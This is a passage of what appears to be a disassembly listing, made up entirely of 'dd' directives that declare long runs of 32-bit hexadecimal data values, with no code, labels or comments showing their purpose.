		dd 0D479F6D1h, 0FA05C52Ah, 111DCB59h, 0CE2881A5h, 44BE43BAh
		dd 0BB7067B3h, 84BDD975h, 8A584F13h, 0F11A863Ch, 18D0564Eh
		dd 22D8B880h, 72FF5156h, 6EF527C3h, 1DFBC3C4h, 9A9D9E82h
		dd 83078881h, 0D582BE7Dh, 0E516667Eh, 0FFBFD49Bh, 9E2811A3h
		dd 6BD4FFD9h, 5499ACAAh, 0FD3CCAE6h, 8911267h, 29516F6h
		dd 2DC25E21h, 0EE71D75Fh, 21F30F46h, 0EA79D999h, 84AE7D82h
		dd 1D22EA8Fh, 0E719BFD7h, 0F033E641h, 735C31C8h, 4C824A6Dh
		dd 83F9588Fh, 1388AE77h, 0FC187D02h, 75F80EA4h,	0F61FFE7Dh
		dd 5CED5CA4h, 0AC134279h, 9922C345h, 79437275h,	9A8ADB7Fh
		dd 60E1B486h, 0ADB310B9h, 0E086EE46h, 53ADFCAFh, 4CA51A53h
		dd 2835EC95h, 2AB714D0h, 4F3F1026h, 0B77265C1h,	43C6666Ah
		dd 0A1F26D21h, 0D0D0602Fh, 6300E40Ch, 0E068D76Eh, 4F8F3F1h
		dd 5E37EC39h, 0C3EA35D7h, 9C5C7EE0h, 0E5FF2477h, 0F7BD61F9h
		dd 8B7DBD5Ah, 78D67825h, 4A547AC2h, 73DD2C68h, 1096C4C0h
		dd 0AF20BC8Bh, 0A3EE3032h, 842B18A7h, 89259557h, 3F684E82h
		dd 0C2C8904Bh, 4F6D2129h
		dd 7FD82B3Dh, 0A37680D0h, 5DB4D09Ah, 0F621DC8Ch, 488AB214h
		dd 20321C28h, 2637E4D1h, 65062495h, 2C621CD0h, 64A6AF3Fh
		dd 9DCB2F4Bh, 44667647h, 0C9F951E9h, 9C3F774Ch,	58703D3h
		dd 4869C14Ch, 0BA6E3988h, 44995864h, 326557CAh,	0B2B6B815h
		dd 0AF30795Bh, 0DA0D7F3h, 5D0C653Bh, 9151F2C0h,	0CFE2983Fh
		dd 70C67A73h, 20450B99h, 0D8C8B963h, 0D66CCBCFh, 0D742F9F8h
		dd 95BFFE97h, 61AE893Fh, 0F87C2C02h, 0AE649978h, 82065325h
		dd 0B1AA5876h, 0B4E95C69h, 5E88AB1h, 0C62DE47Dh, 0A920BCF7h
		dd 0F9953D96h, 1A60670Dh, 0B024A652h, 0D5D6FEE4h, 7837B911h
		dd 68A73C32h, 0A2265E35h, 7D3F38D8h, 0E8651D2Dh, 63F76C7Ah
		dd 9E0F1548h, 658DED96h, 3DE9EE49h, 0EEC50A1Fh,	4496A487h
		dd 9CB7CC1Bh, 0BCF934DCh, 4C15C426h, 0A555C319h, 0A9662B42h
		dd 4E3D6D7h, 25FB8BBCh,	0E0C80317h, 0F4737B3Ch,	0B85A43Ch
		dd 76FAAE3Ah, 8FC24866h, 0A05E8AB9h, 3D8C546Ch,	0EBA63204h
		dd 0B500D91Dh, 0B1532179h, 3E8E9875h, 5D1FB1AAh, 4CB1F3B0h
		dd 0BFD67ADFh, 0BEE73533h, 0FAB7050Bh, 0F0C70506h, 703442A0h
		dd 2DA09A83h, 0E0000518h, 651EC901h, 2861CF3Ch,	0FB203E28h
		dd 0C9638B8Ah, 0CA7630EAh, 9A7A21DAh, 0B072C85Ch, 0BA0602AAh
		dd 19879CBBh, 1AFCFAFFh, 0D8800827h, 119263F7h,	0B5C545E9h
		dd 0E277D86h, 0B84115FBh, 0B3C31F51h, 0C32253B8h, 0F9BD39E8h
		dd 72A09AB9h, 86AD782h,	0E928BB25h, 0E568585Eh,	59205379h
		dd 82D22758h, 0A186200Dh, 0DF538B6Bh, 0D48ABDCAh, 5DEFD800h
		dd 6FB7AA2Ah, 0B2A195A1h, 48F768B1h, 2B4C6C8Fh,	3DFA3DC6h
		dd 0D33CA8CBh, 5D1120Fh, 0D1FFE4F1h, 9257FA3h, 35D450FBh
		dd 0D50EC4A2h, 497F442Dh, 3536A126h, 0AE67B924h, 0C4090635h
		dd 0A92C1F90h, 4E07361Dh, 16A21CD8h, 9D488C66h,	0A4EE90A6h
		dd 0F200C6D5h, 0A9391351h, 0C103A725h, 0D86D7EDDh, 0A9A8EF35h
		dd 71114229h, 8836728h,	2FDB5D8Fh, 7E329DE2h, 0F207631Eh
		dd 19EA6800h, 602E0E1Bh, 9FE82E5Fh, 3FD35D31h, 370F8B99h
		dd 1AF4C324h, 0AE8E61E8h, 0AC3106E9h, 8505370Fh, 2303416h
		dd 0D48B3A17h, 0C180A8DCh, 859FCAA0h, 0DDC5328Dh, 6992D43Bh
		dd 0C2F5EE60h, 29F56C4Fh, 83E4C30Dh, 3EDE24ECh,	9AF52E39h
		dd 3CB855FDh, 0E2283C93h, 0D7D1959Ah, 0D2D43614h, 36DA01Eh
		dd 114FD65Ah, 0BA96E072h, 59ED1C18h, 3D32203Dh,	88900542h
		dd 0C35577F5h, 9D55044Bh, 4009ADEh, 0D8EEA4BDh,	5122B9BAh
		dd 0DC6DC6A4h, 0F2DF2736h, 8DC4DB38h, 63F49EE7h, 6EF0EF05h
		dd 6E8C06E2h, 0E9719A9Bh, 6708014Fh, 0C5C2AB38h, 7BEE2C14h
		dd 86B61668h, 3A43D0A9h, 0B8DCD94Ah, 4446F860h,	0BA76231Fh
		dd 0C9161F46h, 793346B3h, 5458D97Ah, 1B114DAEh,	27354E24h
		dd 9C68054Ah, 0E6928656h, 61270F22h, 0C9FF9CC4h, 4E03A17Eh
		dd 17F0B561h, 0EB8587CBh, 3131FCA4h, 0D0713739h, 7670D947h
		dd 37509BBCh, 0BD26FAB5h, 3DD9DC16h, 870B90DFh,	6B67C7D6h
		dd 0A78448E3h, 0F5D2E58Ah, 370F7BC8h, 7C140EDEh, 0F57C0D38h
		dd 4F00499Fh, 651DE974h, 5E8E3FFh, 0C11E39D8h, 65F538ABh
		dd 1BDCEDCAh, 0DE0F7CAEh, 0FD964D12h, 0BEA22C0Ch, 0D8B24AE6h
		dd 0F4D053EAh, 2F6DFBFFh, 5A12FC99h, 0F8591EFAh, 0E47305DEh
		dd 0AA65C5EEh, 86514236h, 0C3AAE51Dh, 79F76481h, 879BF1Dh
		dd 2538184Bh, 94D1B94Fh, 6DEC014Ah, 0C6585C47h,	0A64D4EE1h
		dd 0C9B4F49Ch, 5B9C945Eh, 0D5F84A39h, 550DCA19h, 0E3BEF931h
		dd 92A03F76h, 60305422h, 8A740E3Bh, 9835D360h, 7F9A11E5h
		dd 37E8E49Bh, 7B634E3Fh, 3E6F73Fh, 1A20E274h, 0CD6EDFB8h
		dd 55644022h, 9E31C01Bh, 0F2AFFBE3h, 4104A9EBh,	0AC6C1228h
		dd 4DC8BC17h, 53982022h, 10BEB027h, 8BA3E11Ch, 18B0F8EEh
		dd 38DF2259h, 0FC435215h, 0C0210224h, 0A44DC773h, 12235602h
		dd 38537C13h, 3686E57Eh, 1F18F2Fh, 16D4BCCAh, 0C43BC07h
		dd 17BADDE6h, 1AB63141h, 2C019A77h, 6303EAE7h, 0DF1B6C2Eh
		dd 5A1C2F96h, 4869039Ah, 0F7F22B62h, 0C0E531AEh, 0FD116363h
		dd 0A4914CA0h, 5B5173B7h, 98529EACh, 6B615776h,	0B845DC1Eh
		dd 9A4F7BB9h, 0BEE39AC8h, 45FA6A96h, 15E7DED7h,	0E682B2BDh
		dd 80B82894h, 0C0C2308Ch, 0A307ECEFh, 5548E29Ah, 1F898B59h
		dd 988E0CFBh, 0A68F6751h, 0A4336CC6h, 757BB202h, 0E8C012F3h
		dd 41D1EC11h, 6C8874C9h, 0D87686FFh, 0DACE4ED8h, 0CDAACD8Bh
		dd 18B2CDC6h, 0B00D854Dh, 0A89FA9C8h, 45C0C4E2h, 0EDA1B7A1h
		dd 5B201F32h, 0FE7E7267h, 24C0A94Ah, 9A2616C7h,	0CED084A8h
		dd 0A052C0F7h, 0A14C11Ch, 0C91438ABh, 7A6D5251h, 0D767B998h
		dd 0A21EFF75h, 12F745E6h, 1F26678Fh, 0F343F58Dh, 15C1D332h
		dd 61EEC7FDh, 494CA92Dh, 8EA051B8h, 0AB392AACh,	67D1E4FAh
		dd 0A599ADDBh, 90EFF103h, 0DDACB37h, 0B6054876h, 77E0455Eh
		dd 0C94750F3h, 71CE6B72h, 0A84B8A82h, 0C52378CBh, 0F6A1D3C4h
		dd 77CC3045h, 52B0DCh, 4A24BF6h, 0FF90B281h, 9DFB52ACh
		dd 35879133h, 17AADF4Dh, 5CAE3CD7h, 0EB3F0B4Dh,	73BE6DD7h
		dd 0E8628FC8h, 3A99ADE4h, 18F0A199h, 447BE33Ch,	0EADB0DF1h
		dd 5D67A928h, 76D12551h, 0BA0917DCh, 8DC3D440h,	433E7F99h
		dd 0A1E01BB8h, 3E65F68Eh, 0AF8D4A5Ah, 0E51F69A3h, 5368D97Dh
		dd 44D5856Ch, 0E15FB74h, 86ABC155h, 67FF367Bh, 0F198BAFCh
		dd 9A0CA5DAh, 848FCA98h, 6EFB0A3Ch, 106638F3h, 8E7D68CAh
		dd 9B364853h, 0FC0F6ABh, 12517CD1h, 99A4D0CAh, 0AAE86C40h
		dd 4EE11B24h, 0AC3D9B2Ah, 12B959B0h, 61630668h,	29ED6AFDh
		dd 73170E74h, 669F60F1h, 12CDABD3h, 0BA14F36Fh,	25EA8F27h
		dd 165BA813h, 0EFF49ABBh, 0FAC9F4F2h, 0A92DE3CAh, 98E1F35Eh
		dd 0B7CCE463h, 0B618257Ah, 36519F7Eh, 5568430Bh, 0E3C032E9h
		dd 2945522Dh, 2B1AE55Bh, 108D4848h, 0E1D374ABh,	48E654E1h
		dd 91BEA38Eh, 7C3276F3h, 2220F826h, 631972CBh, 661747A8h
		dd 47F7F2A5h, 0B4702B82h, 997A0A56h, 0C7874D21h, 0DABFD6CCh
		dd 0D0B33869h, 608FD21h, 0A9AB6C7Dh, 5471BE6Ah,	0A471FCC7h
		dd 7D81263Eh, 3F1B1935h, 3F92E2D8h, 589990B7h, 62428F2Ah
		dd 0BD7254ACh, 0B9A612B5h, 3441D87Ah, 0CE677B30h, 0D6A8E674h
		dd 0C6D983C8h, 8C9E864Bh, 866BBFA7h, 0C350A1CEh, 0CA95ABBEh
		dd 0D498782Eh, 0E71CF1B8h, 0D4B6C567h, 4444CAE5h, 62A2346Eh
		dd 0F3BE116Fh, 43C04B9Dh, 0E3710497h, 0DFC01D1Ch, 0D3E165F0h
		dd 0F3C1C038h, 7A9C15E6h, 0B0368493h, 0C8231CC9h, 0EA030D85h
		dd 88E434ABh, 5CC3AB17h, 632BF02Dh, 0DDEB575Bh,	5340C901h
		dd 304C2279h, 49172E65h, 0A64371ABh, 482826CBh,	59EA2588h
		dd 470ED660h, 1BFFB3CAh, 1C995775h, 38EF7CD4h, 52498E63h
		dd 0FAE77AD9h, 71C61950h, 43712959h, 0F6B1AF1Bh, 0BDE66BE5h
		dd 2DFB7617h, 8CFF5EB7h, 0E4912F08h, 0BF9502D4h, 0DEDF4895h
		dd 62DC1965h, 0EECDF7E0h, 62DB5D6Bh, 0E8B3831Dh, 59C9DF68h
		dd 0F17DA040h, 0CAFF7D4Eh, 3E516878h, 64E1917Eh, 4D279332h
		dd 0BA2136E1h, 59C3EA86h, 27C33F15h, 0A24F4066h, 0F3A3739Bh
		dd 0DD0533CEh, 0EE713A7Dh, 44493E6Ah, 3112BE19h, 0FFAFFE5Ch
		dd 91A0F0CBh, 898CF166h, 0B27549F8h, 3CBE0FB0h,	0A681A822h
		dd 0BC98CF1h, 1F8A85A9h, 7DDC209Ah, 0D86DE26Fh,	0E4ADFE9Bh
		dd 5347968Fh, 57EEF043h
		dd 846195CAh, 14E175D2h, 0BDF888A3h, 5FA048C3h,	6CB88CE5h
		dd 0B11F74E0h, 0A13E1397h, 1CC8A6C6h, 806B5226h, 2D4A8FCCh
		dd 1452728Bh, 0DBFC8DDAh, 71BD86A6h, 0FD2B8529h, 5A95FC35h
		dd 0F341DC17h, 44C4A58Eh, 2086DF96h, 57470785h,	13F1ACA7h
		dd 6F6475BEh, 0D003B230h, 0F31BE63Eh, 0BB54F193h, 28E5F07Ch
		dd 74A423B1h, 0DE0891A5h, 79805C90h, 145FE85Fh,	0CD455CAEh
		dd 0E979382Eh, 767E6DB0h, 9590F4A5h, 0EF8CB43Bh, 152A9664h
		dd 0BBF8886Ah, 6F7C1276h, 0BE76188Ch, 0C3055ABh, 0B18A03E2h
		dd 0A838DA6Dh, 7F0D189Dh, 69B02486h, 3CA4A32Ah,	2DF07126h
		dd 72EE26E1h, 6285EB86h, 61CFF816h, 0DCD0F1B6h,	0B4857D8Bh
		dd 0E1429D64h, 9EB6A16Fh, 0D050C270h, 0EA04210Bh, 0EACCF6A3h
		dd 506657C3h, 0E36A269Eh, 0C6190903h, 1EBD2B45h, 46795BDAh
		dd 9C4C7358h, 0F2DD07ADh, 3CF3A82Bh, 560B99C1h,	26CE90AAh
		dd 69EB6F77h, 812BFA26h, 0BB1FB793h, 37A6E86Fh,	5B8CC9E1h
		dd 5C046F15h, 33ED8F74h, 63825328h, 0EC673791h,	4A368E3Bh
		dd 1687C778h, 0BB56880h, 905C56C6h, 0D803227Bh,	1EF9DC7Dh
		dd 0FC01D816h, 8C8EC676h, 59EA247Ch, 950B6566h,	96E7DC8Dh
		dd 0C4075BE2h, 0D17C0F98h, 0AD3748ADh, 0C9A50B84h, 0B0E09C9Bh
		dd 1998698h, 42A464B3h,	0DE956EB4h, 8D36D26Fh, 0F051A264h
		dd 0AFD146B4h, 8D7DE125h, 0EAA4A9A5h, 2B9CAFEh,	3A72769Fh
		dd 56CF3EDAh, 55EAABD9h, 0FCA07221h, 38745E88h,	4EF222AEh
		dd 0D1B4D1A1h, 81BCAD85h, 186FBE9Eh, 3ABD1421h,	0BA7F9BFBh
		dd 0E51F02FEh, 0FEE93EEAh, 0ABDA498Eh, 2F729ABAh, 2CF109DEh
		dd 89215A74h, 4EDC65C2h, 46CE8F06h, 0EBEA282Bh,	0D4227093h
		dd 0D63A4C3Fh, 0F35E07C8h, 0B01A42ACh, 0D5D6B1DFh, 9DF4C798h
		dd 0D1F22F41h, 88A9E33h, 2B0935D2h, 71D98F10h, 1EA11E5Ah
		dd 0AC545B36h, 6FB2F5ACh, 4650AD0Fh, 64420B05h,	6D8542EFh
		dd 0B81EAD61h, 0CD78F001h, 0ACB5F227h, 24CAF06Eh, 4CD16A98h
		dd 57326BB6h, 0F47C4519h, 0A1432AF7h, 39F9937Ah, 3C83987h
		dd 66CFBE68h, 0C95C14BAh, 2E068D1Eh, 28396E00h,	82303B50h
		dd 87B3059Bh, 0C6B30127h, 12CC2345h, 0A8011CAEh, 74B54E01h
		dd 94943148h, 0B0D6A30h, 0FB282D48h, 16D722DBh,	0C6B53919h
		dd 0A19C2D00h, 1DBDE2E9h, 0A1D8FDE2h, 44B6A142h, 0A625237h
		dd 139B7662h, 0CEAC71C8h, 788D0B28h, 12FAF96Bh,	8085EFBBh
		dd 0EBB7AC6Eh, 8F76E29h, 6C986CBBh, 520F1223h, 0C80DCCFFh
		dd 0DFA21CDFh, 8E5BC70h, 0B47F004Ch, 82332117h,	0E10901F1h
		dd 45367ACEh, 6422F49h,	6C84032h, 0EB899450h, 19D16BBDh
		dd 833D4FD2h, 0EF45100Fh, 0AFBD5372h, 0B591C16Fh, 0D5986A69h
		dd 766744ACh, 16ECA6C7h, 5B92A196h, 1D3301D8h, 3E2F8DBEh
		dd 34D7C20Ch, 85C0DE5Ch, 0E52F7355h, 6C1EC6EFh,	35FA29CCh
		dd 13CA9910h, 72BB11DFh, 92E05E9Ah, 9AE5EC18h, 4C1DFDDAh
		dd 31C1E88Ah, 0EBA26272h, 98E43A18h, 9335BA13h,	0FF6B1257h
		dd 0AF9988FFh, 6A41B796h, 16FA22A0h, 0B9B0F773h, 6E2A0B4Ah
		dd 81DA9937h, 841B6BDBh, 0D89421C0h, 3D394C7Ah,	8D9B4C92h
		dd 0D5F963ECh, 0A3F471D2h, 0BB05F986h, 0F43F6280h, 8869FD10h
		dd 0A8125D0Ah, 1DC42395h, 68540135h, 595F7D08h,	7EFFBFA2h
		dd 8A82703Bh, 0E885B162h, 288B98D9h, 0B7B8C566h, 78FBF89Ah
		dd 0E752EB3Ch, 5294AB65h, 5253CF0Ah, 6CEC56D9h,	30804AFBh
		dd 42DABAADh, 951157B0h, 0E42DA12Eh, 6B2A205Ah,	0CC6B74F3h
		dd 0CD379F45h, 7F557213h, 60C44336h, 8BD1F844h,	0FE09199Ch
		dd 47389075h, 0C2072B05h, 0E885E089h, 0D59B8D8Fh, 76E33F61h
		dd 63255463h, 44124962h, 7940BD8Ah, 3CC97339h, 77AB84C0h
		dd 943646BCh, 0C32340B4h, 38F19271h, 0A7262A55h, 79665D40h
		dd 1A2A20Bh, 2CE08226h,	42D62861h, 2A1C8AFDh, 0B3648046h
		dd 6225E34Fh, 0FDB5E80h, 80505B84h, 37B7170Bh, 0A0819F1Eh
		dd 27298AA8h, 0F40E46B5h, 513ABE40h, 935CF727h,	0F5A3A4EAh
		dd 0F976316Fh, 0C7A61550h, 0E091009Bh, 8CDB3148h, 0C8533A5Dh
		dd 1F0F603Ah, 18D6E74Bh, 0C7C8983Bh, 44C5C036h,	0B59C9EF6h
		dd 0B7DBA463h, 6C9F117Eh, 941B6D25h, 611E7F7Eh,	560DC584h
		dd 0DE9B63FEh, 252036C6h, 0E1163BCEh, 0A83F1F94h, 0F6540B9Bh
		dd 9323AFECh, 5C70F40Ch, 832FBF62h, 6E4ED4Fh, 0AC84AA50h
		dd 1BAE3E93h, 6D15B37Fh, 0DFFE39F6h, 647C950Eh,	0F9DD458Dh
		dd 0B6F4AC83h, 9DAD67BCh, 459DFEF1h, 0EE75D004h, 0F4A383Ah
		dd 92C33C51h, 0B97BD09Eh, 0FD52CC33h, 3D046FD4h, 0D76C0C3Eh
		dd 0CCFD054h, 0BC98075Eh, 90B8958Ch, 56DD3450h,	0F7A91709h
		dd 4F4C7FADh, 0ACC1D6Bh, 0BCF4B890h, 0FA6762DBh, 0EB9A5013h
		dd 0FB9D5CACh, 19FC67Fh, 9569EC39h, 930B7E8Ah, 0E2FB9148h
		dd 0E5B10739h, 328FF9C7h, 2F029814h, 4C426BE6h,	83658875h
		dd 519222A0h, 7FD501E0h, 38FDBFF4h, 88C7EADCh, 968FECDEh
		dd 6CA5329Fh, 162587ACh, 8E0DCCDFh, 0BC24717Ah,	72EBD414h
		dd 3F2CA245h, 0BB06DDA0h, 117CB559h, 0E4922BC2h, 38757C86h
		dd 3DD366ACh, 0F49F4393h, 81AA6F33h, 0B2F4CFEAh, 1EEC95FCh
		dd 0AAE0232Ah, 0AF0DA6D0h, 0B05F244Ch, 66C042AFh, 2A3F408Ch
		dd 0B7FF612h, 57761440h, 820A2D5h, 5291B2A7h, 0F988A7FAh
		dd 9AC76F5h, 7869BD4Bh,	0C09474CAh, 0E7B4F4D5h,	0CBAB39C8h
		dd 0C1256B38h, 56F2F6BBh, 0C4BD560Bh, 7E52D0E1h, 0DE98C782h
		dd 0CC7955CDh, 1C71B7EDh, 0D8CA3D57h, 7E710C34h, 0FFED5391h
		dd 0CAB0D7DCh, 0D8016894h, 6CFF84CFh, 4B803BECh, 0C1F10C6Ah
		dd 2228F991h, 0FC51DE4Bh, 764FA798h, 717767F1h,	9F3CE2EBh
		dd 0B1C13597h, 4ECD48AEh, 5969FC47h, 52E160F7h,	0FF7D4C6Eh
		dd 0D581556Ch, 22E1587Ch, 49ED9AAh, 1ADBFE80h, 6152A1ADh
		dd 6DC2DAD0h, 0D4D459D5h, 225208A0h, 0B233EBBFh, 9806DA4Fh
		dd 1498E536h, 0DF63A3F8h, 0A219DBFEh, 31F07562h, 0AE131062h
		dd 55DD4997h, 0E9DD3CF0h, 8CD6372Fh, 0F864B665h, 0CDD2C0CEh
		dd 54D7E6C3h, 0DB6C4E07h, 0E5A53874h, 26FB28D6h, 41C66AF4h
		dd 43F25605h, 0D114F994h, 0BDDB2304h, 0FA396A2Dh, 4C8A9F33h
		dd 8B4F0537h, 0F4197CADh, 9576250Dh, 0E2CAC40h,	0D940F928h
		dd 588B6947h, 14320571h, 0E0F3D4ACh, 0C45817B3h, 6A33B618h
		dd 0EE9D067Bh, 3EF7BE51h, 80FEE624h, 0AEEA0F50h, 0C3780421h
		dd 86A2ACACh, 2048D6B8h, 5EBAADF3h, 75C443AAh, 8AD5234Ah
		dd 3331474Bh, 80F49547h, 11CAF1A2h, 5214E91Eh, 0C1321613h
		dd 0AC2FB964h, 0A2B01389h, 0E97B330Ch, 4E9510E3h, 0D743B98Bh
		dd 6DE617D9h, 0E70E3D2Dh, 3E96C9E2h, 1030C2C2h,	90ED51BEh
		dd 0CB339F44h, 6F197D95h, 711C1137h, 45844865h,	59F221BDh
		dd 99BADB80h, 339A5706h, 0BDD2F22Bh, 68C876D3h,	0F24CFC1Bh
		dd 526C9C85h, 5BC6A95Eh, 62C747F6h, 0CABCE514h,	0CE21E398h
		dd 16E93B95h, 86CDC845h, 65AD043Ch, 8D04DA92h, 7DF4EEF3h
		dd 420354ACh, 32F78642h, 2D7A9BE2h, 0A2C9A00Ah,	0CC84DD2Ch
		dd 0BB266F79h, 0B62DC253h, 5648D6C1h, 0FA7CDCC0h, 625745B8h
		dd 0D7C8F8FCh, 0A14253B6h, 0EA4AFF12h, 8BEE792Bh, 318FE50Ch
		dd 0BA77D458h, 0B9885B10h, 1EB1A7FDh, 45102CCh,	6081A91Eh
		dd 76EA2DDCh, 6FEA39F1h, 0E998AC6Dh, 7ABB8D4Dh,	5327EE10h
		dd 6DAE445Eh, 21C97F97h
		dd 13EA3665h, 70EA47C1h, 0A3CB082Ah, 9C272BBh, 57F391F8h
		dd 0F7DF06FDh, 0E018CD81h, 4F72BE31h, 0E2BDE669h, 849B3DE3h
		dd 46AFA121h, 69710508h, 0AC119150h, 7104521Bh,	2B46F3Eh
		dd 5664C0D5h, 1C37E92Fh, 1D02E9E2h, 0C9822CF2h,	4F439A24h
		dd 0B9DE140h, 0DCAC3C54h, 0F3A226E9h, 91B1C0C9h, 0D234D41Bh
		dd 8F954333h, 1F0202C4h, 9DB297E4h, 0B5987BA7h,	6F2C31EEh
		dd 40E689F3h, 2530237Eh, 1B856190h, 8135636Ah, 0AC4ED40Fh
		dd 651B314Ch, 0DC150F1Fh, 7D721633h, 0A38F1E2Ah, 0BA5DD375h
		dd 68A53D61h, 9BC6DFB7h, 94610A31h, 7AB5C37h, 9538DA60h
		dd 0E2592FF1h, 9FEBCEB0h, 89355EEh, 0FF9ED895h,	35F1D7C1h
		dd 79C4C710h, 4C80A0ABh, 0ACB042FAh, 0CE023BB3h, 0E5F1FECAh
		dd 0A82D4032h, 0F3A2862Eh, 0F60DB72Eh, 0EFA10075h, 0B7C93444h
		dd 21F01C34h, 8D13F9C2h, 7723CE47h, 16A1945Bh, 732DCCBAh
		dd 0E7DC149h, 0F25A8CBBh, 994B5725h, 8E82CC6Ah,	0FDC1A052h
		dd 429E3E14h, 0EA669096h, 4B83085Eh, 0A70BD6DDh, 4475C791h
		dd 0CE7436F4h, 45DD596Fh, 97590EBEh, 7CE7F602h,	0B3CEC2B4h
		dd 314146D3h, 1280D042h, 8EC8F50Eh, 0F0ECE948h,	0B2A91666h
		dd 8FB04C58h, 0C211CE57h, 4AD704F7h, 0E318C0FAh, 0FEA47B05h
		dd 8BA94A70h, 9A8B101h,	0B1D982D3h, 939C06DAh, 5202EC08h
		dd 9307DFBh, 6459E05Dh,	5B66EDC4h, 880662E3h, 8A2AD8D2h
		dd 0DE1FE1E0h, 0B081CCD0h, 56DFD960h, 0C264CD00h, 18C35DA9h
		dd 0BAC1A58Fh, 0D153D326h, 89CDC8CEh, 4AD2E725h, 92E28F23h
		dd 2636C5BCh, 0CAE5D03Dh, 5745BC44h, 92F1D9F0h,	0CA0BAA41h
		dd 0D56E6F5Dh, 90BEAAA1h, 7FABC9Eh, 1C36F863h, 0D175D13h
		dd 9D55B69Dh, 8495FC52h, 0EDC28F06h, 0A99AAD17h, 8C902754h
		dd 0F942BD09h, 0EDDF61AEh, 0E3F40331h, 35641BCBh, 0C3674A4Fh
		dd 90498898h, 52732290h, 0D30471C0h, 0C472217Eh, 60A39C5Ah
		dd 0A2BEA6C8h, 0EEA54884h, 50875B6Dh, 0BA20627Ch, 5CD2EB7Fh
		dd 9C863B10h, 393BCF42h, 0E9888BFAh, 2562EEFBh,	68C68A42h
		dd 4FE08B53h, 0FE41F03Ah, 391C1B92h, 91CE78AAh,	0A8A94892h
		dd 98506233h, 638D69B5h, 9B9BEC8Eh, 91E6D944h, 0DB5DC8C7h
		dd 0CCFBCFDCh, 0AAA3E323h, 4E313237h, 221FA791h, 2783F1E5h
		dd 6C31151h, 1E933806h,	524C8EE7h, 0B880BA2Bh, 26E6535h
		dd 0F1BD320Eh, 0A49D0808h, 9E875FDh, 977E1007h,	1FDCA9FAh
		dd 0B475030Dh, 934F448Bh, 23A21A2Ch, 1EE56346h,	966C413Dh
		dd 236E92CFh, 0B0D20CDBh, 0A6C1C76Dh, 0A34A966h, 8F9D9D97h
		dd 0FFB481AEh, 0FDD2CECDh, 0C9561B5h, 223B4CBh,	0D904FF74h
		dd 0D03DE904h, 6620266Bh, 0A706C5B5h, 0A5DFF14Eh, 0EFBC2137h
		dd 0B07FB27Dh, 0CB2D7428h, 297D7EEh, 7B6F96A1h,	44CE2467h
		dd 7B339174h, 0CF4B5170h, 9C913970h, 0BE15E88Dh, 7A5A83h
		dd 4B793721h, 0A8DAACA8h, 5EE32010h, 0AFE07C6Ch, 0E20F475h
		dd 0F004660Bh, 49978775h, 343F8D20h, 45209214h,	78E1E42Dh
		dd 602C3E8Bh, 82C23C0Dh, 2118AB85h, 7CE9D4D4h, 85A5E002h
		dd 0FA5FD320h, 130939B0h, 62687FD9h, 4F3F6B64h,	4384378h
		dd 0ABA6722Bh, 0E5CD1390h, 0F3A5645Ch, 632A7D3Ch, 762ACBC1h
		dd 0B6DBF0A4h, 2D6D0EBAh, 52AF8534h, 0C7016B14h, 0C94A6415h
		dd 1687206Eh, 0EDB52E68h, 26FD6945h, 97B6BA2Bh,	8A9358FFh
		dd 0A482F95Fh, 985EDA64h, 6B3E3651h, 0BC0DD7E6h, 0B77E694Ch
		dd 42EB686h, 4AB0072Bh,	1D516699h, 46C694BFh, 4CAEDFh
		dd 0F354F80Ah, 8A66E618h, 0FF78F99Bh, 7A74B391h, 3B44FAF5h
		dd 31627EDFh, 9EE40979h, 3ADD0DD6h, 0E766CAD9h,	0F0104B09h
		dd 151D9F7Dh, 27823EF2h, 3B03B4D4h, 439DA95Ch, 1C9DE9C2h
		dd 0A4480439h, 2BD54279h, 51361781h, 96021E68h,	0C77638A7h
		dd 22BE2751h, 688A8BF8h, 0E649E1E7h, 0F4AA2B99h, 78781064h
		dd 0E653FD1Dh, 0EEFAC2FBh, 4CA6BB23h, 9D65906Ch, 8F860D03h
		dd 0E35320A3h, 151B3B20h, 3F4B27BEh, 7B83A624h,	3F7ABC85h
		dd 0C9A7BEABh, 272D69A7h, 0A387B7EDh, 0D6683A0h, 76F86B9Bh
		dd 896D4366h, 8E639B54h, 0D3FE2D94h, 8041F438h,	3AEEA1A7h
		dd 0DA2281E1h, 52E577DCh, 94FA7E90h, 7AEC64B3h,	97C287D0h
		dd 112B0325h, 0EDE78390h, 9AA31E45h, 3FE9AFB0h,	75F5D156h
		dd 0D2F1E718h, 8D09DF55h, 0E9A53FCCh, 2810315Dh, 58E45EABh
		dd 7B8A4759h, 3DF7944Bh, 4FE9EF2Eh, 672EB93Ah, 272D994Fh
		dd 20D45B8Ch, 6D15E931h, 0E3225187h, 3875BAE0h,	0F71F152Fh
		dd 0DB3AE533h, 5D4E42B4h, 0E7A1F98Dh, 112BC522h, 639770B5h
		dd 44583115h, 3689E929h, 0BFF8FD3Bh, 5A6113E3h,	83654ACBh
		dd 0B516150Ah, 4FC9799Ch, 0A2FE60A4h, 3F5A356Bh, 127E23F6h
		dd 2B350322h, 305BC156h, 9529D76Bh, 8A749C54h, 258966B8h
		dd 0EF80D84Eh, 0EC534FCCh, 0E31771FEh, 862CA45Eh, 9158DC48h
		dd 9FD14637h, 12E89EB7h, 0D7F76BF8h, 9CCA6C18h,	84F896DDh
		dd 0C7D2BEF1h, 509E382Eh, 0BFD1FA3Ah, 338ADA34h, 0A055C241h
		dd 0C22A0013h, 2C88BD3Eh, 9CB2F162h, 0A16E5677h, 5DE77626h
		dd 35326E09h, 85A5B178h, 0F83F8687h, 77E6DC9Ah,	3738749Ah
		dd 5D1141C0h, 0C34CEA91h, 0C31BC84Dh, 60EAFEFAh, 8FE6AF9Bh
		dd 127669A9h, 5A3A286Fh, 5EB9630Eh, 0D78EB202h,	708A1FAAh
		dd 0DB59F51h, 9EDCB839h, 99A4E27Ah, 1BBF822Ch, 6F77ADC0h
		dd 5AA6DC54h, 0B195F0CEh, 46C421BDh, 0C1B5EAEAh, 0CCDDC212h
		dd 0BAC45093h, 36C5B6B0h, 84DBA464h, 38887C87h,	0DABDCEA2h
		dd 772ACD4Ah, 0D96EDA4Eh, 24840AF2h, 0C680B21Ah, 4A9A9B46h
		dd 6315E07h, 0CB815829h, 2DA02B97h, 88E025B7h, 12017E90h
		dd 47919C58h, 1AB17424h, 0A5EC91h, 530C88E9h, 3127CC6Dh
		dd 6AFBB431h, 330B48A3h, 997D1B44h, 43513041h, 20FC8B6Bh
		dd 483795C9h, 134EDB82h, 0D40BEBD3h, 9A4CC2CBh,	0ECE855E4h
		dd 36F241B4h, 307BB008h, 76457685h, 1E7EE28Ch, 0EFEA874Bh
		dd 69B3D46Eh, 6CCCC64Ch, 0E72CDE92h, 2A7984FCh,	0BA723C12h
